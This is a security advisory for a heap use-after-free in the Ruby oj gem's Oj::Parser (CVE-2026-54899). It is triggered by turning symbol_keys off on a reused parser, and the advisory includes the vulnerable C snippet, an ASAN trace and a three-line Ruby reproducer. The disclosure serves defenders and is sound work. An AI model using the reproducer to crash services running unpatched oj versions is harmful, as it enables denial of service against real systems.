GHSA-2cw7-v8ff-p88r
Oj: Use-After-Free in Oj::Parser Symbol Key Cache Toggle
At a glance
- Published
- Updated
- CVE
- CVE-2026-54899
- CVSS_V4
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Description
### Summary Disabling `symbol_keys` on a reused `Oj::Parser` instance triggers a heap use-after-free. When `symbol_keys` is toggled from `true` to `false`, `opt_symbol_keys_set` frees the internal key cache (`cache_free`) but does not clear the pointer. The next `parse` call reads from the freed cache via `cache_intern`, producing a use-after-free. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/usual.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/usual.c`, `opt_symbol_keys_set`: ```c // usual.c:1043–1051 if (symbol_keys) { d->key_cache = cache_create(...); // allocate } else { cache_free(d->key_cache); // free — but d->key_cache pointer not NULLed } ``` On the next parse call, `cache_key` → `cache_intern` reads from `d->key_cache` which now points to freed memory. ASAN report: ``` ==145265==ERROR: AddressSanitizer: heap-use-after-free on address 0x50b00001a318 READ of size 8 at 0x50b00001a318 thread T0 #0 cache_intern /ext/oj/cache.c:328 #1 cache_key /ext/oj/usual.c:161 #2 close_object /ext/oj/usual.c:285 #3 parse /ext/oj/parser.c:693 #4 parser_parse /ext/oj/parser.c:1408 freed by thread T0 here: #0 free #1 cache_free /ext/oj/cache.c:277 #2 opt_symbol_keys_set /ext/oj/usual.c:1051 #3 option /ext/oj/usual.c:1111 #4 parser_missing /ext/oj/parser.c:1362 0x50b00001a318 is 40 bytes inside freed 112-byte region [fd]fd fd fd fd fd fd fd ``` ### Reproduce ```ruby require 'oj' p = Oj::Parser.new(:usual, symbol_keys: true) p.symbol_keys = false # frees cache without nulling pointer p.parse('{"attacker":1}') # UAF: reads freed cache ```
Affected packages
| Package | Versions |
|---|---|
| RubyGems · oj | introduced 0, fixed 3.17.2 |
References
- https://github.com/ohler55/oj/security/advisories/GHSA-2cw7-v8ff-p88r WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-54899 ADVISORY
- https://github.com/ohler55/oj PACKAGE
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/oj/CVE-2026-54899.yml WEB
- https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54899 WEB
Sources
| Source | Licence |
|---|---|
| OSV.dev | CC-BY 4.0 — GitHub Advisory Database |